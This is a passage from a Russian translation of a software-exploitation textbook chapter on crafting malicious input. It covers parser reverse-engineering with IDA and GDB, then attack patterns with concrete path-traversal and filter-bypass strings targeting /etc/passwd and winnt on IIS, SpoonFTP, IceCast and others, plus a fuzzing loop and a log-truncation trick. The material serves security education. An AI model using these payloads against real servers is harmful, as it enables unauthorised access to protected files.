рая стремится получить доступ к буферу. Хотя этот метод не настолько эффективен,
как трассировка кода вручную (поскольку собирается меньше сведений о правилах
работы программы), мы по>прежнему способны исследовать каждую область кода, в
которой читаются данные из буфера пользовательских данных.
Этот метод нельзя назвать простым. Дело в том, что данные из пользовательского
буфера копируются постоянно. Когда бы это не происходило, мы получаем точку ос>
танова, но скопированные данные сохраняются в других областях памяти и регист>
рах центрального процессора. Если не сделать пошагового анализа, невозможно
проследить за данными, которые “покинули” пользовательский буфер. Для выпол>
нения полного анализа требуется установка дополнительных точек останова для
всех скопированных фрагментов данных. Очевидно, что количество точек останова
будет очень большим. Поскольку процессоры Intel поддерживают установку только
четырех точек останова с доступом к памяти, вы быстро превысите это предельное
значение. В сложных программах распространение данных очень трудно проследить
при таком способе анализа вручную. Однако одновременное использование методов
“ход конем” и отслеживания входных данных предоставляет инженеру по восста>
новлению исходного кода вполне достаточный объем информации.
Преимущество метода “ход конем” состоит в том, что с его помощью можно соз>
дать некоторые программы для проведения атак. А недостаток его в том, что можно
пропустить многие сложные проблемы. Таким образом (и это весьма любопытно)
метод “ход конем” значительно полезнее для хакеров, чем для специалистов по обес>
печению защиты.

Точки останова для страниц памяти
Один из вариантов метода “ход конем” заключается в изменении защиты для
больших фрагментов памяти. Вместо того чтобы использовать конкретную точку ос>
танова для доступа к памяти, отладчик изменяет защиту для всей страницы памяти.
Если программный код пытается получить доступ к обозначенной странице, то про>

228

Глава 6

исходит исключение. Затем отладчик может быть использован для исследования со>
бытия и определения того, коснулись ли изменения буфера пользовательских дан>
ных. Программа OllyDbg поддерживает этот тип исследования программного кода.

Поиск по шаблону
Еще одним прекрасным методом для ускорения процесса анализа программного
кода является метод поиска по шаблону (boron tagging). Согласно этому методу, или
в ответ на пошаговое событие, или в ответ на срабатывание точки останова при “ходе
конем” отладчик настраивается на исследование всех областей памяти, адреса кото>
рых хранятся в регистрах центрального процессора. Если в какой>либо выборке
данных из памяти содержится заданная строка, то эта область памяти помечается
как “область, в которой обрабатываются предоставленные пользователем данные”
(т.е. та область, которая нас интересует). Хитрость в том, чтобы подать на вход про>
граммы конкретную “магическую”строку входных данных в надежде на то, что эта
строка успешно пройдет через весь код программы к точке обнаружения. При опре>
деленной степени везения можно получить “карту” всех областей кода, в которых
обрабатываются пользовательские данные. Безусловно, этот метод не принесет ус>
пеха, если строка данных будет проигнорирована или преобразована в другую фор>
му до того, как она достигнет интересных мест в программном коде.

Восстановление кода анализатора
Программа синтаксического анализа, или просто анализатор (parser), разбивает
строку байтов на отдельные слова и операторы. Это действие называют синтаксиче
ским анализом (parsing). При обычном анализе обычно требуются символы “пунк>
туации”, которые часто называют метасимволами, поскольку они имеют особое зна>
чение. Во многих случаях атакуемое программное обеспечение выполняет анализ
входных строк в поисках этих специальных символов.
Метасимволы довольно часто представляют особый интерес для хакеров. Неред>
ко важные решения в программе зависят непосредственно от наличия этих специ>
альных символов. Фильтры тоже используют метасимволы для выполнения необхо>
димых действий.
Опознать метасимволы в дизассемблированном программном коде сравнительно
просто. Выделить их настолько же просто, насколько найти код, который сравнивает
значение байта со стандартным значением жестко закодированного символа. Ис>
пользуйте таблицу ASCII>символов для определения шестнадцатеричных значений
конкретных символов.
На рис. 6.9 показано окно программы IDA, на котором мы видим, как данные
сравниваются с шестнадцатеричными значениями символов косой черты (/) и об>
ратной косой черты (\) — 2F и 5C соответственно. Подобные сравнения часто осу>
ществляются фильтрами файловой системы, что делает эту задачу весьма перспек>
тивной для создания атак.

Подготовка вредоносных данных

229

Рис. 6.9. В дизассемблированном с помощью IDA коде стандартного FTPсервера выполняется
поиск символов 2F и 5C

Преобразование символов
Преобразование символов иногда происходит как следствие подготовки системы
к вызову функции API. Например, в системном вызове могут приниматься имена
файлов, в которых присутствуют символы косой черты, а в программе могут для
этой же цели равнозначно использоваться как символы косой черты, так и символы
обратной косой черты. Таким образом, перед вызовом функции выполняется преоб>
разование символов косой черты в символы обратной косой черты, т.е. безразлично,
какие символы косой черты были предоставлены программе, системным вызовом
они будут обработаны как символы обратной косой черты.
Что же в этом интересного? Представьте, что произойдет, если программист за>
хочет проверить, что пользователь не использовал символы косой черты в имени
файла. Цель подобной проверки может заключаться в предотвращении возможности
ошибки для атак с переходом по файловой системе, например. Программист может
установитьфильтр для блокирования символов косой черты и успокоиться, решив,
что проблема решена. Но если злоумышленник сможет внедрить символ обратной
косой черты, то проблема останется нерешенной. Используя преобразование симво>
лов, возникает прекрасная возможность обойти простые фильтры и системы обна>
ружения вторжений. На рис. 6.10 показан программный код, который преобразовы>
вает символы обратной косой черты в символы косой черты.

Байтовые операции
Встроенные в большинство программ анализаторы работают с отдельными сим>
волами. Один символ обычно кодируется одним байтом (очевидное исключение

230

Глава 6

представляют собой многобайтовые символы Unicode). Поскольку символы обычно
представляются байтами, разумно выявить однобайтовые операции в дизассембли>
рованном коде. Найти эти операции достаточно просто, поскольку они обозначаются
как “al”, “bl” и т.д. Большинство современных регистров являются 32>битовыми. Та>
кая запись означает, что операция осуществляется над младшими восемью битами
регистра, т.е. одним байтом.

Рис. 6.10. Программный код использует вызов функции API strchr для поиска в строке сим
вола 5Ch (\). При обнаружении этого символа используется команда mov byte ptr
[eax], 2Fh для замены символа обратной косой черты символом косой черты 2Fh (/).
Этот цикл выполняется до выявления всех символов обратной косой черты с помощью опе
раторов test eax, eax и последующего jnz, которые передают управление обратно
(если значение не равно нулю) в начало цикла

При отладке запущенной программы нужно пом>
нить о крайне важном аспекте. Помните, что только
один байт используется при обозначениях типа al и bl,
независимо от того, какие данные хранятся в остав>
шейся части регистра. Если значение регистра равно
0x0011222F (как показано на рис. 6.11) и используется
обозначение для побайтовой операции, то в действи>
Рис. 6.11. Представление од
тельности обрабатывается только значение 0x2F, т.е.
ного байта (2F) в 32бито
младшие
8 бит.
вом регистре

0011222F

Операции для работы с указателями
Строки часто имеют слишком большой размер, чтобы их можно было сохранить в
регистре. Поэтому обычно в регистре хранится только адрес ячейки памяти, в кото>
рой хранится строка. Этот адрес называют указателем (pointer). Обратите внима>
ние, что указатели являются адресами, которые могут указывать практически на все,
а не только на место хранения строки. Одна из удачных хитростей заключается в оп>
ределении указателя, который инкрементно увеличивает значение на один байт, или
операции, в которых используется указатель для загрузки одного байта.
Выявить побайтовые операции с указателями достаточно просто. Для них ис>
пользуется формат записи [xxx], например [eax], [ebx] и т.д. совместно с обо>
значениями al, bl, cl и т.д.

Подготовка вредоносных данных

231

Арифметические операции с указателями имеют следующий вид.
[eax + 1], [ebx + 1] и т.д.

Операция перемещения байтов в памяти выглядит примерно следующим образом.
mov dl, [eax+1]

В некоторых случаях выполняется непосредственная модификация регистра, в ко>
тором хранится указатель.
inc eax

Символы завершения строки NULL
Поскольку строки обычно завершаются с помощью символа NULL (особенно в
коде на языке C), то может пригодится поиск кода нулевого байта. Шаблоны для по>
иска символа NULL могут выглядеть примерно следующим образом.
test al, al
test cl, cl

На рис. 6.12 показано несколько побайтовых операций с такими данными:
cl — обозначение байта;

test cl,cl — поиск символа NULL;

[eax] — указатель;

[eax+1] — указатель плюс один байт;

inc eax — увеличение указателя;

mov dl, [eax+1] — перемещение од>
ного байта.

Рис. 6.12. Программный код, в котором содержатся некоторые интересные побайтовые операции

232

Глава 6

Наличие этих операций может указать на то, что в этой программе выполняется
анализ или обработка входных данных.

Восстановление исходного кода
сервера I-Planet 6.0
Как и для большей части серверного программного обеспечения в сервере I>
Planet 6.0 от компании Sun Microsystems, для обеспечения безопасности использует>
ся метод выявления недопустимых данных, или т.н. “черный список”. Как мы уже
рассказывали, подобную защиту не так сложно обойти. Используя отслеживание
вызовов функций и программу GDB (как описано в главе 4, “Взлом серверных при>
ложений”), мы находим несколько вызовов функций, предназначенных для фильт>
рации пользовательских данных. Вместо простого отбрасывания вредоносных дан>
ных, сервер I>Planet пытается “исправить” вредоносные строки данных, удаляя “не>
корректные” части.
В данном конкретном случае для нахождения этих функций лучше всего устано>
вить точки останова и действовать по методу “снаружи внутрь”. Напоминаем, что ме>
тод “снаружи внутрь” заключается в том, чтобы начинать трассировку с момента по>
ступления входных данных пользователя и отслеживать эти данные в коде программы.
Действуя по этому методу, мы обнаружили, что достаточно часто вызывается
функция
__0fJCHttpUtilTCanonicalizeURIPathPCciRPcRiT

Очевидно, что название функции искажено, но зато мы видим, что она использу>
ется для канонизации (или приведения в стандартную форму) предоставленных
пользователем строк UNI. Как мы уже указывали, эта функция предназначена для
обнаружения некорректных строк входных данных. Воспользовавшись программой
GDB для установки точки останова в начало этой функции, мы можем исследовать
предоставленные данные.
(gdb) break __0fJCHttpUtilTCanonicalizeURIPathPCciRPcRiT
Breakpoint 6 at 0xff22073c
(gdb) cont
Continuing..

Теперь точка останова установлена, но нам нужно отправить запрос, чтобы опре>
делить, какие данные передаются нашей функции. Мы отправляем Web>запрос к ис>
следуемой программе, и благодаря точке останова немедленно получаем нужные
сведения. Затем с помощью команды info red исследуем данные регистров с це>
лью узнать данные, предоставленные функции.
Breakpoint 6, 0xff22073c in __0fJCHttpUtilTCanonicalizeURIPathPCciRPcRiT ()
from /usr/local/iplanet/servers/bin/https/lib/libns-httpd40.so
(gdb) info reg
g0
0x0
0
g1
0x747000 7630848
g2
0x22
34
g3
0x987ab0 9992880
g4
0x98da28 10017320
g5
0x985a18 9984536
g6
0x0
0
g7
0xf7641d78
-144433800

Подготовка вредоносных данных

233

o0
o1
o2
o3
o4
o5
sp
o7
l0
l1
l2
l3
l4
l5
l6
l7
i0
i1
i2
i3
i4
i5
fp
i7
y
psr

0x985a8c 9984652
0x15
21
0xf7641bec
-144434196
0xf7641ad4
-144434476
0x0
0
0x987ab0 9992880
0xf7641a48
-144434616
0xff21ae08
-14569976
0x985390 9982864
0xff2d80d0
-13795120
0x987aa0 9992864
0x336d38 3370296
0x985a28 9984552
0xff2d7b38
-13796552
0x987aa0 9992864
0x987ab0 9992880
0x985a88 9984648
0x2000
8192
0x9853ac 9982892
0x987ab0 9992880
0x985584 9983364
0x1
1
0xf7641bf0
-144434192
0xff21938c
-14576756
0x0
0
0xfe901001
-24113151
icc:N--C,pil:0,
s:0, ps:0, et:0, cwp:1
wim
0x0
0
tbr
0x0
0
pc
0xff22073c
-14547140
npc
0xff220740
-14547136
fpsr
0x420
1056
rd:N, tem:0, ns:0,
ver:0, ftt:0, qne:0, fcc:
пользовать обозначение “x/” для получения данных дампа памяти из близлежащих
ячеек по отношению к запрошенному адресу. Например, с помощью команды x/8s
$g3, мы получаем дамп восьми строк после адреса памяти, указанного в регистре g3.
(gdb) x/8s $g3
0x987ab0:
"GET /knowdown.class%20%20 HTTP/1.1"
0x987ad3:
"unch.html"
0x987add:
""
0x987ade:
""
0x987adf:
""
0x987ae0:
""
0x987ae1:
""
0x987ae2:

Предоставленный нами URI>адрес хранится в области памяти, указатель на ко>
торую хранится в регистре g3. Теперь мы можем приступить к пошаговому исследо>
ванию и делать комментарии в программе IDA.
Этот метод “снаружи внутрь” особенно хорошо подходит для выявления деталей
синтаксического анализа. Как правило, входные данные принимаются программой и
модифицируются до того момента, когда они достигают важных системных вызовов.
Начиная снаружи, мы можем определить, что делает анализатор с данными. Напри>
мер, из имени файла могут удаляться дополнительные символы косой черты. При
наличии определенных символов (например строк для перехода вверх по дереву ка>
талогов “../..”) в запросе этот запрос может вообще не пройти.

234

Глава 6

На рис. 6.13 изображено окно программы IDA с добавленными замечаниями для
любопытных областей кода. Результат работы программы GDB можно непосредст>
венно вставить в дизассемблированный код IDA. С помощью символа точки с запятой
в IDA можно вводить многострочные комментарии. Отслеживая вызов, мы обнаружи>
ли, что многие символы запроса удаляются и таким образом “очищается” имя файла.

Рис. 6.13. Экран программы IDA с замечаниями, добавленными к коду

Углубившись в программу, мы нашли еще одну функцию, которая используется
для проверки формата “очищенного” запроса. Кроме очевидной глупости самой
идеи поиска вредоносных данных (а не разрешения прохождения нормальных дан>
ных), эта функция к тому же называется INTutil_uri_is_evil_internal (за>
бавно!). Эта дополнительная функция предназначена для выявления хакеров, кото>
рые атакуют систему. В зависимости от того, определяется ли URI>адрес как “вре>

Подготовка вредоносных данных

235

доносный”, функция возвращает значения TRUE или FALSE. Давайте выполним вос>
становление кода для этого вызова функции. Очевидно, что при любой реальной
атаке нам нужно пройти “через” этот вызов. Дизассемблированный с помощью IDA
код этой функции будет выглядеть примерно следующим образом.
.text:00056140 ! ||||||||||||||| S U B R O U T I N E
.text:00056140
.text:00056140
.text:00056140
.global INTutil_uri_is_evil_internal
.text:00056140 INTutil_uri_is_evil_internal:
.text:00056140
ldsb
[%o0], %o1
.text:00056144
mov
1, %o3
.text:00056148
mov
2, %o4
.text:0005614C
cmp
%o1, 0
.text:00056150
be,pn
%icc, loc_561F4
.text:00056154
mov
%o0, %o5
.text:00056158
mov
%o2, %o0
.text:0005615C
mov
0, %o2
.text:00056160
cmp
%o1, 0x2F
.text:00056164
.text:00056164 loc_56164:
.text:00056164
bne,a
%icc, loc_561DC
...

Мы устанавливаем точку останова и исследуем данные, которые передаются вы>
зову функции, как показано ниже.
(gdb) x/8s $o0
0x97f030:
0x97f064:
0x97f070:
0x97f090:
0x97f091:
0x97f095:
0x97f096:
0x97f097:

"/usr/local/iplanet/servers/docs/test_string.greg///"
"ervers/docs"
"/usr/local/iplanet/servers/docs"
""
"\2272\230"
""
""
""

В этом примере точка останова срабатывает, после предоставления программе
следующего URL>адреса.
http://172.16.10.10/test_string.greg/%2F//.

В этой точке мы видим, что шестнадцатеричные символы в URI уже были преоб>
разованы до момента достижения этой точки. Сделав еще несколько попыток, мы
заметили, что проверка на “вредоносность” данных никогда не осуществляется для
следующего URL>адреса.
http://172.16.10.10/../../../../../../etc/passwd

Это означает, что, когда мы пытаемся получить непосредственный доступ к фай>
лу паролей, в программе выполняется какая>то другая проверка, до проверки вредо>
носного URL. Нам никогда не добраться до проверки на “вредоносность”! Очевидно,
что в программе есть несколько точек, в которых осуществляется проверка безопас>
ности входных данных.
Интересно, что если добавить в запрос имя подкаталога, то мы достигнем нашей
проверки на “вредоносность”.
http://172.16.10.10/sassy/../../../../../../etc/passwd

При этом вовсе необязательно наличие подкаталога sassy. Важнейший вывод
заключается в том, что нам удалось обмануть логику программы. Добавив в имя

236

Глава 6

файла название несуществующего каталога, мы добились того, что выполнение про>
граммы пошло иным путем, чем при непосредственном запросе файла паролей.
Таким образом нам удалось обойти первую проверку для наших входных данных.
Выявление подобных множественных отдельных проверок и ветвления программы
на основе их результатов, свидетельствует о том, что в такую программу можно про>
никнуть. В более грамотно спроектированных программах используется одна точка
для проведения одной или более проверок (обратите внимание, что в некоторых
случаях проверки вообще не нужны, поскольку атакуемая программа работает в
замкнутом пространстве chroot или в ней используются другие методы обеспече>
ния безопасности).

Ошибки при классификации
Классификация или разбиение по категориям имеет огромное значение для про>
граммного обеспечения. После принятия решения на основе классификации, вы>
полняется целый логический блок программы. Следовательно, ошибки при класси>
фикации могут иметь катастрофические последствия.
В программном обеспечении классификация очень важна. После принятого ре>
шения программа вызывает определенные модули и/или запускает крупные блоки
подпрограмм. В качестве хорошего примера классификации запросов и возникаю>
щих при этом опасных ситуаций можно назвать способ, используя который HTTP>
серверы принимают решение о типе запрашиваемого файла: сценарии должны обра>
батываться с помощью одного механизма, исполняемые файлы — с помощью CGI>
программ, а обычные текстовые файлы — с помощью своего текстового редактора.
Хакеры ужа давно разобрались, как запросить нужный файл и одновременно
“убедить” Web>сервер, что этот файл является чем>то совершенно другим. Наиболее
распространенный способ использования этого метода в атаках позволяет хакерам
получать двоичные файлы CGI>программ или файлы сценариев, в которых содер>
жатся жестко закодированные пароли или другая ценная информация.
Шаблон атаки: вынужденная ошибка Web-сервера
Уже достаточно широко известны проблемы, связанные с ошибками классификации, которые происходят при исследовании Web-сервером нескольких последних символов в имени
файла. Web-сервер исследует эти символы, чтобы определить, какой тип файла запрашивается. Использовать эти проблемы можно самыми разнообразными методами, например, добавляя определенные строки к именам файлов, добавляя символы точки и т.д.

Ошибка классификации в спецификаторе файловых потоков NTFS
Для использования одной из ошибок классификации Web>сервера строка
::$DATA добавляется в конце имени файла. Программный код Web>сервера
исследует три последних символа в строке и обнаруживает “расширение” ATA. В ре>
зультате при запросе в виде /index.asp::$data, Web>сервер не в состоянии об>
наружить, что запрашивается ASP>файл и услужливо возвращает содержимое файла
(используя подпрограммы, скрытые от злоумышленников).

Подготовка вредоносных данных

237

Создание эквивалентных запросов
Многие команды проходят синтаксический анализ или фильтрацию. Во многих
случаях в фильтре учитывается только один конкретный способ форматирования
команды. На самом деле одну и ту же команду можно закодировать тысячами раз>
ных способов. Достаточно часто альтернативно закодированная команда позволяет
добиться того же результата, что и оригинальная команда. Таким образом две ко>
манды, которые с точки зрения фильтра программы выглядят по>разному, позволя>
ют получить одинаковый результат. Во многих случаях для проведения успешных
атак хакеры пользуются альтернативно закодированными командами, которые по>
зволяют им выполнить обычно запрещенные действия.

Исследование на уровне функций API
Для того чтобы найти и составить перечень альтернативных кодировок команд,
удобно написать небольшую программу, которая “прогонит” все возможные вход>
ные данные для конкретного вызова функции API. Такая программа может, напри>
мер, различным способом шифровать имена файлов. Для каждого шага в цикле в вы>
зов API может передаваться искаженное имя файла, после чего будет записываться
результат.
В следующем фрагменте кода осуществляется циклическая проверка различных
значений, которые могут использоваться в качестве приставки для строки \test.txt.
Результаты запуска подобной программы помогут нам определить, какие символы
могут использоваться для проведения атак, связанных с переходом вверх по дереву
каталогов (../../).
int main(int argc, char* argv[])
{
for(unsigned long c=0x01010101;c != -1;c++)
{
char _filepath[255];
sprintf(_filepath, "%c%c%c%c\\test.txt",
c >> 24, c >> 16, c >> 8,c&0x000000FF );
try
{
FILE *in_file = fopen(_filepath, "r");
if(in_file)
{
printf("checking path %s\n", _filepath);
puts("file opened!");
getchar();
fclose(in_file);
}
}
catch(...)
{
}
}

}

return 0;

238

Глава 6

В строке могут быть выполнены небольшие (но автоматические) изменения. В
конечном счете изменения в строке запроса сводятся к попытке использования раз>
личных хитростей для получения одного и того же файла. Например, одна из попы>
ток может привести к появлению следующей команды.
sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c);

Этот процесс можно представить себе в виде последовательности уровней. Мы
стремимся попасть на уровень вызова функции API. Если программист установил до
вызова функции API какие>либо фильтры, то эти фильтры можно считать дополни>
тельными уровнями, которые защищают оригинальный набор функциональных
возможностей. Используя все возможные входные данные для доступа на уровень
функции API, мы начинаем раскрывать и исследовать установленные в программе
фильтры. Если мы точно знаем, что в программе используются вызовы функций
API, то можно проверить все варианты кодирования имени файла. В случае успеха
одна из хитростей сработает, наши данные успешно проникнут сквозь фильтры и
будут переданы вызову функции API.
Воспользовавшись методами, описанными в главе 5, “Взлом клиентских про>
грамм”, можно составить перечень управляющих кодов, которые могут быть встав>
лены в вызов API (многие из которых позволяют обойти фильтры). Например, если
данные были специально переданы (с помощью конвейера) в командный интерпрета>
тор, мы можем получить реально работающие управляющие коды. Конкретный вызов
может записывать данные в файл или поток, специально предназначенные для про>
смотра информации на экране термина или в окне клиентской программы. В качестве
простого примера следующая строка содержит два символа возврата на одну позицию,
что, вероятнее всего, проявится при выполнении команды на терминале.
write("echo hey!\x08\x08");

Когда терминал обрабатывает принятые данные, из оригинальной строки будут
стерты два последних символа. Эта хитрость использовалась очень долго для иска>
жения данных в файлах журналов. В файлах журналов сохраняется вся информация
о выполненных транзакциях. Хакер может внедрить символ NULL (например, %00
или \0) или добавить так много дополнительных символов в строку, что запрос в жур>
нале будет сохранен в “укороченном” виде. Представьте себе запрос, в окончании
которого будет содержаться более тысячи дополнительных символов. Очевидно,
что в журнале строка будет сохранена не полностью и важные данные, указывающие
на проведение атаки, будут утрачены.

Посторонние символы
Посторонние символы (ghost characters) — это дополнительные символы, кото>
рые можно добавить к запросу. Эти символы не должны препятствовать исполне>
нию запроса. Можно, например, добавить дополнительные символы косой черты к
имени файла. Очень часто строка
/some/directory/test.txt

и строка
///////////////////some///////////directory///////////test.txt

являются эквивалентными запросами.

Подготовка вредоносных данных

239

Шаблон атаки: альтернативное кодирование и предшествующие
посторонние символы
В некоторых API определенные символы, установленные впереди данных, просто удаляются из строки параметров. Иногда эти символы удаляются, поскольку расцениваются как избыточные. Другой вариант такого удаления обусловлен тем, что эти символы удаляются согласно
правилам, заданным для синтаксического анализатора. В качестве набора попыток проведения атаки хакер может использовать различные типы альтернативно закодированных символов в начале строки.
Одной из широко используемых возможностей проведения атаки является добавление посторонних символов в запрос. Эти посторонние символы не влияют на сам запрос на уровне
API. Главное — получить доступ к интересующим библиотекам API, а потом можно проверить
различные варианты проведения атак. Если посторонние символы успешно проходят через
проверки, хакер может перейти от “лабораторного” тестирования API к тестированию реальных служб.

Альтернативное кодирование и посторонние символы
для FTP- и Web-серверов
Удачный пример использования альтернативного кодирования и посторонних
символов можно продемонстрировать на основе FTP> и Web>серверов. В боль>
шинстве реализаций этих серверов осуществляется фильтрация попыток проведе>
ния атак с использованием свойств файловой системы (переход вверх по дереву
каталогов). В некоторых случаях, при предоставлении хакером строки наподобие
.../../../winnt система не в состоянии осуществить правильную фильтрацию и
хакер получает несанкционированный доступ к “защищенному” каталогу. Базовым
элементом этой атаки является использование в начале строки трех (обратите вни>
мание) символов точки. Ошибки подобного рода часто называют уязвимым местом
троеточия (triple>dot vulnerability), хотя проблема намного серьезнее, чем простой
прием трех символов точки.
Используя API файловой системы в качестве цели атаки, следующие строки
имеют эквивалентное значение для многих программ.
.../../../test.txt
............/../../test.txt
..?/../../test.txt
..????????/../../test.txt
../test.txt

Как видно, существует множество способов семантически эквивалентных запросов.
Все эти строки являются вариантами запроса одного и того же файла ../test.txt.

Альтернативное кодирование символов трех точек
в сервере SpoonFTP
Используя три символы точки, злоумышленник может “путешествовать” по ка>
талогам на сервере SpoonFTP v1.1.
ftp> cd ...
250 CWD command successful.
ftp> pwd
257 "/..." is current directory.

240

Глава 6

Эквивалентные метасимволы
Символы разделения команд также играют весьма важное значение. Они исполь>
зуются для разделения команд или слов в запросе. Анализаторы выполняют поиск
разделителей, чтобы распознать блоки команд. При атаке на интересующий вызов
функции API, широко применяется добавление и запуск дополнительных команд.
По этой причине понимание того, как можно закодировать символы разделения,
представляет особый интерес. Фильтр может удалять или наоборот искать опреде>
ленные разделители. Выявление разделителя команд во входных данных из нена>
дежного источника ясно указывает на то, что кто>то пытается внедрить дополни>
тельные команды.
Рассмотрим символ пробела, который используется для разделения слов (как в
этом предложении). Во многих программных системах символ табуляции является эк>
вивалентом символа пробела. Для программы символ пробела — это символ пробела.
Шаблон атаки: альтернативное кодирование символов косой черты
Символы косой черты представляют особый интерес. В системах на основе каталогов, таких как файловые системы и базы данных, символ косой черты обычно используется для обозначения перехода в другой каталог или к другим контейнерным объектам. По непонятным
причинам в первых персональных компьютерах (а впоследствии и в операционных системах
компании Microsoft) для этой цели было решено использовать символ обратной косой черты
(\), тогда как в UNIX-системах используется обычная косая черта (/). В результате многие системы на основе продуктов компании Microsoft вынуждены понимать обе формы символов косой черты. Это предоставляет хакеру возможность обнаружения и использования большого
количества стандартных проблем фильтрации. Целью является обнаружение серверного программного обеспечения, в котором фильтруется только одна форма этих символов, и не
фильтруется вторая.

Альтернативное кодирование символов косой черты
Для большинства Web>серверов два следующих запроса являются эквивалент>
ными.
http://target server/some_directory\..\..\..\winnt

и
http://target server/some_directory/../../../winnt

Хакерами также могут использоваться различные варианты кодирования симво>
лов косой черты в виде кодов URL, UTF>8 и Unicode. Например, в строке
http://target server/some_directory\..%5C..%5C..\winnt

где строка %5C эквивалентна символу обратной косой черты (\).

Управляющие метасимволы
Многие фильтры выполняют поиск метасимволов, но могут пропускать некото>
рые из них при наличии символа ESC. Символ ESC обычно устанавливается в нача>
ле управляющей последовательности символов. Без этого символа управляющая по>

Подготовка вредоносных данных

241

следовательность была бы преобразована в другой символ или обработана как дру>
гой управляющий символ, установленный далее во входных данных.
Ниже приведены примеры для шаблонов фильтрации символов ESC. Обратите
внимание, что для определения реального поведения программы необходимо про>
вести тестирование.
Фильтр ESCn, где ESC и n остаются в качестве обычных символов.
Фильтр ESCn, где символ ESC удаляется, а n остается в качестве обычного
символа.
(Замените n символом возврата каретки или символом NULL.)
Шаблон атаки: использование управляющих символов
при альтернативном кодировании
Установка символа обратной косой черты в начале строки символов часто приводит к тому, что анализатор воспринимает следующий символ как специальный (управляющий). Например, пара байтов \0 может привести к передаче одного нулевого (NULL) байта. Другой
пример — строка \t, которая иногда преобразуется в символ табуляции. Часто эквивалентными считаются символ косой черты и управляющий символ с символом косой черты. Это
означает, что строка \/ преобразуется в символ косой черты. И один символ косой черты
также остается символом косой черты. В результате можно составить следующую таблицу.
/

/

\/

/

В случае применения двух альтернативных способов кодировки одного символа возникают проблемы при фильтрации и “открывается путь” для атаки.

Альтернативное кодирование символов косой черты
Использовать этот шаблон фильтрации в атаке достаточно просто. Если вы ду>
маете, что атакуемая программа осуществляет фильтрацию символа косой черты,
попытайтесь воспользоваться строкой \/ и посмотрите, что получится. В качестве
примера можно привести следующую командную строку
CWD ..\/..\/..\/..\/winnt

которая часто преобразуется в следующий вариант.
CWD ../../../../winnt

Чтобы проверить наличие этой проблемы, может пригодиться небольшая про>
грамма на языке C, в которой используются процедуры вывода строки. Запуск про>
стого фрагмента кода
int main(int argc, char* argv[])
{
puts("\/ \\ \? \. \| ");
return 0;
}

приводит к следующему результату
/ \ ? . |

242

Глава 6

Очевидно, что символ обратной косой черты игнорируется, то есть доступно
множество вариантов альтернативной кодировки для проведения атаки. Используя
наш предыдущий пример, мы можем провести следующие варианты атак.
CWD ..\?\?\?\?\/..\/..\/..\/winnt
CWD \.\.\/\.\.\/\.\.\/\.\.\/winnt
CWD ..\|\|\|\|\/..\/..\/..\/winnt

Преобразование символов
Подходящими целями для атак можно также назвать программы, в которых дан>
ные преобразуются в одной части программы перед тем, как они передаются в дру>
гую ее часть. При этом символы могут преобразовываться по несколько раз. Напри>
мер, если пользователь добавляет символ + к стандартному имени запрашиваемого
Web>сервера, этот символ будет преобразован в символ пробела еще до его исполь>
зования в файловой системе.
Шаблон атаки: кодирование Unicode
Unicode является 16-битовым стандартом кодирования символов, который позволяет
представлять алфавиты всех существующих в мире языков. Для кодирования каждого символа используется 2 байта, вместо одного для символов ASCII. Если машинный код системы или
используемые API предопределяют применение обычных символов, то в системе может осуществляться преобразование символов Unicode.
У хакера появляются возможности для атаки, когда некоторые из компонентов системы не
способны работать с символами Unicode. В этом случает хакер отправит строку символов
Unicode, надеясь на то, что механизм фильтрации или механизм классификации не сможет
правильно распознать запрос. В результате данные успешно пройдут через фильтр содержимого пакетов и, вероятно, заставят приложение обработать некорректный запрос.

Кодирование Unicode в IIS-сервере
При атаках с помощью символов Unicode часто используется переход по дереву
каталогов в поисках интересных файлов. Например:
http://target.server/some_directory/../../../winnt

В данном случае хакер пытается перейти в каталог, который, по всей вероятно>
сти, не служит для хранения файлов Web>служб. Атака очевидна, поэтому многие
Web>серверы и сценарии защиты успешно блокируют эту атаку. Однако с помощью
альтернативного кодирования хакер может обойти плохо спроектированные фильт>
ры запросов.
В октябре 2000 года хакеры публично заявили об уязвимости Web>сервера IIS от
компании Microsoft относительно одного из вариантов этой атаки. Все, что требова>
лось для взлома сервера IIS, — это использовать альтернативные варианты написа>
ния символов точек и косой черты, применяемых в классической атаке. В кодировке
Unicode эти символы будут выглядеть следующим образом.
.
C0 AE
/
C0 AF
\
C1 9C

Подготовка вредоносных данных

243

При использовании этой кодировки приведенный выше запрос будет иметь сле>
дующий вид.
http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE
/%C0AE%C0AE/winnt

Шаблон атаки: кодировка UTF-8
UTF-8 представляет собой систему кодирования символов. При этом для кодирования
разных символов может использоваться разное количество байтов. Вместо того чтобы использовать по 2 байт для каждого символа, как в Unicode, в UTF-8 символ может быть закодирован с помощью 1, 2 и даже 3 байт. Вот как будут выглядеть описанные выше символы в кодировке UTF-8:
.

F0 80 AE

\

E0 80 AF

/

F0 81 9C

Кодировка UTF-8 определена в RFC-2044. Атаки с помощью UTF-8 имеют успех по тем же
причинам, что и атаки с помощью Unicode.

Шаблон атаки: URL-кодирование
Во многих случаях в URL-адресе символ может быть представлен в шестнадцатеричном
формате. Это приводит к различным проблемам при фильтрации входных данных.

URL-кодирование в MP3-сервере IceCast
Следующая строка закодированных в шестнадцатеричном формате символов по>
зволяет путешествовать по каталогам на системе с установленным MP3>сервером
6
IceCast .
http://[атакуемый_хост]:8000/somefile/%2E%2E/target.mp3

Также можно вместо "/../" воспользоваться строкой "/%25%25/".

URL-кодирование в сервере приложений Titan
При работе сервера приложений Titan присутствует ошибка в процессе декоди>
рования шестнадцатеричных символов и URL>строк. Например, отсутствует фильт>
рация строки %2E.
Существует множество других примеров использования в атаках альтернативно>
го кодирования символов. Можно использовать кодирование Unicode ucs>2, управ>
ляющие коды HTML и даже такие простые проблемы, которые касаются регистра
символов и преобразования символов пробела в символы табуляции.

6

Более подробная информация по этой теме доступна по адресу http://www.
securitytracker.com/alerts/2001/Dec/1002904.html.

244

Глава 6

Шаблон атаки: альтернативные IP-адреса
Есть несколько методов для альтернативного указания диапазона IP-адресов. Ниже приведено несколько примеров.
192.160.0.0/24
192.168.0.0/255.255.255.0
192.168.0.*
Классические атаки с помощью альтернативного кодирования, могут быть использованы и
относительно IP-адресов.

Применение IP-адресов без символов точки для Internet Explorer
Альтернативное кодирование IPадресов выявляет серьезные недостатки в
фильтрах и других механизмах безопасности, в которых необходима точная интер
претация таких значений, как номера портов и IPадреса. Фильтрация URLадресов
обычно связана со множеством проблем. В программном пакете Microsoft Internet
7
Explorer позволяется задавать IPадреса в различных форматах . Ниже представлено
